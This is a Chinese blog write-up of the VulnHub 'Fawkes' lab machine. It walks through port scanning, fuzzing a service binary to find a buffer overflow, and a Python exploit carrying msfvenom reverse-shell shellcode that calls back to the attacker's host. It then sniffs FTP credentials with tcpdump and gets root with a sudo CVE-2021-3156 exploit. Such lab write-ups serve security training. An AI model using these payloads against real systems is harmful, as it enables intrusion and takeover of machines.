首页 > 其他分享 >打靶记录12——Fawkes

打靶记录12——Fawkes

时间:2024-08-17 20:48:59浏览次数:8  
标签:x20your 12 x20spell Fawkes 打靶 x20 靶机 server SF

靶机:

https://download.vulnhub.com/harrypotter/Fawkes.ova

这是个哈利波特系列的靶机,作者和本人都非常喜欢这个系列,因为它的漏洞和利用点都设计得很巧妙。

难度:

目标:

  • 取得2个root权限 + 3 个flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • FTP服务攻击
  • 缓冲区溢出
  • 模糊测试
  • 漏洞利用代码编写
  • 流量抓包分析
  • 堆溢出漏洞攻击
  • Metasploit(MSF)
  • 手动修复EXP代码
  • 本地提权

参考资料

主机发现

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.0.103
image.png
sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103

┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 16:14 CST
Nmap scan report for 192.168.0.103
Host is up (0.0011s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0          705996 Apr 12  2021 server_hogwarts
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.0.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
|   256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
|_  256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
2222/tcp open  ssh        OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA)
|   256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA)
|_  256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519)
9898/tcp open  monkeycom?
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     Welcome to Hogwart's magic portal
|     Tell your spell and ELDER WAND will perform the magic
|     Here is list of some common spells:
|     Wingardium Leviosa
|     Lumos
|     Expelliarmus
|     Alohomora
|     Avada Kedavra
|     Enter your spell: Magic Output: Oops!! you have given the wrong spell
|     Enter your spell:
|   NULL:
|     Welcome to Hogwart's magic portal
|     Tell your spell and ELDER WAND will perform the magic
|     Here is list of some common spells:
|     Wingardium Leviosa
|     Lumos
|     Expelliarmus
|     Alohomora
|     Avada Kedavra
|_    Enter your spell:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9898-TCP:V=7.94SVN%I=7%D=8/17%Time=66C05BD6%P=x86_64-pc-linux-gnu%r
SF:(NULL,DE,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x
SF:20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nH
SF:ere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium
SF:\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x
SF:20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20")%r(GenericLines,
SF:125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spe
SF:ll\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x
SF:20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20L
SF:eviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Ava
SF:da\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oop
SF:s!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x
SF:20spell:\x20")%r(GetRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x2
SF:0portal\nTell\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perfo
SF:rm\x20the\x20magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spe
SF:lls:\n1\.\x20Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n
SF:4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell
SF::\x20Magic\x20Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong
SF:\x20spell\n\nEnter\x20your\x20spell:\x20")%r(HTTPOptions,125,"Welcome\x
SF:20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spell\x20and\x20E
SF:LDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x20is\x20list\x
SF:20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20Leviosa\n2\.\x2
SF:0Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\
SF:x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oops!!\x20you\x20
SF:have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x20spell:\x20")
SF:%r(RTSPRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell
SF:\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20
SF:magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20
SF:Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohom
SF:ora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x2
SF:0Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\n
SF:Enter\x20your\x20spell:\x20");
MAC Address: 08:00:27:80:17:B1 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.01 seconds

发现21端口开着vsftp服务,版本是vsftp 3.0.3,漏洞库搜索一下
searchsploit vsftp 3.0.3发现一个远程拒绝服务攻击脚本,就是我们可以把它打死,但是不能利用它去控制目标系统,那对我们没有什么帮助
image.png
发现它的FTP服务可以匿名登录,并且存在一个文件叫server_hogwarts,霍格沃兹就是哈利波特学习魔法的学校hogwart
image.png
并且发现奇怪的是服务器开启了两个SSH服务,版本不一样,端口也不一样,待会再看看怎么个事
image.png
9898端口开启的服务nmap不认识,就随便给了个名字,后面显示的内容是欢迎来到霍格沃兹,选择自己喜欢的魔法吧!
image.png

  • Wingardium Leviosa(漂浮升空)悬浮咒,可以让物体飞起来
  • Lumos(荧光闪耀)
  • Expelliarmus(除你武器)
  • Alohomora(开锁咒)
  • Avada Kedavra(索命咒)阿瓦达啃大瓜

sudo dirsearch -u http://192.168.0.103扫描目录没有什么发现
image.png
那么我们匿名登录一下FTP服务器
ftp 192.168.1.103账号为:anonymous,密码为空
登录之后把server_hogwartsget下来慢慢看,然后想cd到其他的目录却失败了
image.png
file server_hogwarts发现他是一个可执行程序,给它赋予执行权限然后执行看看有什么效果
image.png
ps -aux | grep server看到运行了进程
ss -pantu | grep server看到在本机开启了监听端口
image.png
nc 127.0.0.1 9898NC上去看看运行效果,就是一些个咒语实现的效果
image.png
那这个靶机的意图也就非常明显了,肯定是这个程序本身,它存在某种漏洞,但是由于它是一个二进制的可执行程序,所以我们没办法查看它的源码,从源码审计,那就只能做动态调试,做FUZZ模糊测试

进行测试之前,还得先关掉kali本机的alsr功能,alsr是一种内存地址随机化的安全技术, 不关掉的话会导致我们自己挖漏洞的时候挖不出来,每次内存地址都会变
我们需要把2改成0,这样就会关闭它
image.png
sudo apt install edb-debugger安装一个有图形化界面的友好一点的调试工具
点击Attach
image.png
搜索server
image.png
然后点击run
image.png
这样就通过调试器连接上了服务端程序
接下来就需要对程序发起一些注入的探测请求
向唯一的数据提交点提交500个大写字母A
python -c "print('A'*500)"
image.png
image.png
然后调试器直接报错,说EIP的内存地址被覆盖了,那就99%确定这个地方存在缓冲器溢出漏洞
image.png
image.png
msf-pattern_create -l 500生成500个内容不重复的字节序列
image.png
在提交数据之前重启一下server_hogwarts服务和edb工具,否则可能影响我们队漏洞挖掘结果的判断
image.png
用小工具msf-pattern_offset -l 500 -q 64413764查看EIP寄存器当中注入的字符在这500个字符中的哪个位置里面
image.png
编写一个EXP进行测试

#!/usr/bin/python
import sys,socket
payload = 'A'*112 + 'B'*4 + 'C'*32
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
  print("Wrong!")
  sys.exit()

在运行脚本提交数据之前重启一下server_hogwarts服务和edb工具,保证我们测试时,运行环境是一个干净的环境
运行代码:
报错弹窗提示,如果想进一步查看他的情况请按F7,F8,F9来查看。其实你可以再次点击▶️让程序在报错的前提下继续运行,因为这个弹窗只是提示你server_hogwarts出现了故障但是并不代表其不能继续运行。
参考博客:https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95
image.png

反弹shell

用插件OpcodeSearcher找到跳到ESP的指令
image.png
image.png
image.png
jmp esp,跳到ESP的内存地址是0x08049d55,放到exp中的4个B的位置那里

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 -b "\x00" -f py

生成一串反弹shell的代码

  • -b 参数去掉坏字符“\x00”,因为程序运行到这个字符的话就会以为结束了,从而停止运行
  • -f 参数生成python格式的代码

image.png

#!/usr/bin/python
import sys,socket

buf =  b""
buf += b"\xdb\xda\xba\x40\xb5\xb0\xf2\xd9\x74\x24\xf4\x5b"
buf += b"\x31\xc9\xb1\x12\x31\x53\x17\x03\x53\x17\x83\xab"
buf += b"\x49\x52\x07\x1a\x69\x64\x0b\x0f\xce\xd8\xa6\xad"
buf += b"\x59\x3f\x86\xd7\x94\x40\x74\x4e\x97\x7e\xb6\xf0"
buf += b"\x9e\xf9\xb1\x98\xe0\x52\x41\x3e\x89\xa0\x42\xaf"
buf += b"\x15\x2c\xa3\x7f\xc3\x7e\x75\x2c\xbf\x7c\xfc\x33"
buf += b"\x72\x02\xac\xdb\xe3\x2c\x22\x73\x94\x1d\xeb\xe1"
buf += b"\x0d\xeb\x10\xb7\x9e\x62\x37\x87\x2a\xb8\x38"

payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
"""
这里需要注意三点:
	1,EIP的注入位置的JUMP ESP的地址需要进行字节的颠倒,因为靶机为小端。这个细节非常非常重要,只要是缓冲区溢出漏洞都需要注意这一点
	2,'\x90'的添加,为了防止恶意代码举例ESP起始位置太近导致的执行异常,一般添加该字节来让CPU划过该命令
	3,都要用b''二进制来显示
"""


try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
  print("Wrong!")
  sys.exit()

重启运行服务,nc开启监听,执行脚本即可反弹shell成功
image.png
image.png
image.png
这是得到的本机kalishell,所以我们需要修改代码中的IP地址,来对靶机发起攻击
image.png
image.png
再次运行脚本获得shell
image.png
image.png
按照惯例升级一下shell,但是没有python,也没有bash,那就只能用/bin/sh -i
image.png
在当前目录下发现一个密码HarrYp0tter@Hogwarts123,想起前面信息收集的时候有两个ssh服务开启着
image.png
ssh [email protected] -p 2222,登录上去发现还是harry,还有IP地址是172.17.0.2,和靶机IP地址192.168.0.103不一样
image.png
ls / -la查看根目录的文件,发现.dockerenv,很明显是一个docker容器
image.png

信息收集:

image.png
发现flag文件horcrux1.txt魂器 (Horcrux)是黑巫师为了使自己长生不死而制造出来的用于储藏灵魂碎片的物品
查看一下这两个文件,第一个说哈利波特被伏地魔摧毁了,note.txt文件显示有人在一直尝试登录FTP服务器但是没成功,我们可以通过流量抓包工具来进行分析它
image.png
由于靶机只是一个命令行界面,所以我们用不了wireShark,只能用最原始的tcpdump这个命令
tcpdump -i eth0 port 21只对21端口进行抓包,等待大概一分钟左右的时间才有流量产生
image.png
发现用户名和密码:neville``bL!Bsg3k,尝试SSH登录,发现是真实的靶机(由于我网络出了点问题,所以靶机IP从103变成104了)
image.png
内核版本和sudo版本都与CVE-2021-3156中的一致
image.png
可以用以下这段代码验证漏洞是否存在sudoedit -s '\' perl -e 'print "A" x 65536'``,输入命令有报错,说明漏洞存在
image.png
利用exp脚本进行提权,具体是Github仓库中的exploit_nss.py这个文件
image.png
靶机上的sudo位置在/usr/local/bin/sudo
image.png
修改exploit_nss.py代码中的sudo位置
image.png
将脚本通过nc发送到靶机上
靶机nc -lvnp 4444 > exp.py,将nc接收到的信息保存为exp.py文件
本机nc 192.168.0.104 4444 < exploit_nss.py -w 1将文件传输过去,-w 1参数意思是当文件传输结束后隔一秒钟就断开连接
image.png
image.png
然后在靶机输入python3 exp.py就获得了root权限
image.png
获取最后的两个flag
image.png
纳吉尼(伏地魔身边的那条蛇)被纳威 隆巴顿(剑圣)给摧毁了
image.png
image.png
伏地魔被哈利波特打败了!

打靶完毕!

标签:x20your,12,x20spell,Fawkes,打靶,x20,靶机,server,SF
From: https://www.cnblogs.com/Fab1an/p/18364950

相关文章

  • 012、Vue3+TypeScript基础,子页面使用defineExpose暴露成员来给主页面使用
    01、App.vue代码如下:<template><divclass="app"><h2>{{title}}</h2><button@click="showLog">点我数组子页面年龄</button><!--使用了ref来获取子组件的属性--><Personref="person001"/......
  • 【漫谈C语言和嵌入式007】AD2S1210简介与应用:高精度旋转变压器到数字转换器的解析
            在精密运动控制和测量系统中,旋转变压器(Resolver)是一种常用的传感器,能够精确检测旋转轴的位置和速度。为了将旋转变压器的模拟信号转换为数字信号,便于微控制器或DSP进行处理,AD2S1210作为一款高性能的旋转变压器到数字转换器(RDC),为工程师提供了高精度、低延迟的......
  • Oracle 11g,12c,18c,19,21,23 RU
    https://updates.oracle.com/ARULink/PatchDetails/process_form?patch_num=6880880数据库补丁详细信息地址:MyOracleSupportNote2521164.1Database19ProactivePatchInformationMyOracleSupportNote2369376.1Database18ProactivePatchInformation.MyOracle......
  • 随记 - 2024 年 4 月 12 日
    写在前面444字|生活|经历|感触正文或许因为压力大,亦或者简单的糖分不足,今晚好想吃面包和蛋糕。蛋糕吃不完也买不起,面包还是可以。实在饿,出门了。导航两家西点店,关门。怏怏地找另一家。在十点前,找到了。怡朵。还在营业。登门,看到货架基本都......
  • 51单片机学习记录-12-直流电机(PWM脉冲宽度调制)
    1直流电机介绍直流电机是一种将电能转换为机械能的装置。一般的直流电机有两个电极,当电极正接时,电机正转,当电极反接时,电机反转直流电机主要由永磁体(定子)、线圈(转子)和换向器组成除直流电机外,常见的电机还有步进电机、舵机、无刷电机、空心杯电机等2电机驱动电路(1)大功率器......
  • 社区老人健康管理系统 项目编号:99120(案例分析)
    社区老人健康管理系统摘要    本论文主要论述了如何使用SpringBoot技术开发一个社区老人健康管理系统,随着社会老龄化进程的加剧,老年人健康问题日益引起人们的关注。有效的健康管理系统对于提升老人生活质量、延长寿命具有重要意义。    本文首先分析了当......
  • 【题解】「NOIP2012」疫情控制
    https://www.luogu.com.cn/problem/P1084这道题难在贪心的思路,实现比较简单可以直接看代码。首先二分。现在转化为判定问题。可以用倍增求出每个军队最上面能到哪。结论1:我们一定不会把在除了根节点以外的军队往下移动。否则肯定不优。所以我们把能走到根节点的先存在一起......
  • Debian12 无人值守 console 串口安装系统踩坑记录
    工作需要做了Debian12无人值守通过console串口安装系统的尝试,记录一些踩过的坑。1.语言设置为中文时无法运行自动安装从串口进行的安装不支持中文,需要设置为英文才能自动安装,否则会频繁跳出选择语言界面。2.安装菜单界面乱码,无法进行选择是因为isolinux里缺少字符安装程序m......
  • 一分钟接入英智Mistral Large 2407 123B服务
    英智MistralLarge2407123B服务目录目录免费API_KEY获取方式快速使用在编程语言里使用ShellPythonNode.js在第三方应用里使用在NextChat里使用Q&A404NotFound参考免费API_KEY获取方式将您的“API_KEY”(申请服务的免费套餐后可获取)......
  • Leetcode刷题笔记8.12-8.16
    Leetcode刷题笔记8.12-8.1619.删除倒数第n个链表结点(8.12)一个巧妙删除倒数第n个结点的trick该方法避免了对链表的一次全面扫描来获得总长度//返回链表的倒数第k个节点ListNodefindFromEnd(ListNodehead,intk){ListNodep1=head;//p1先走k步......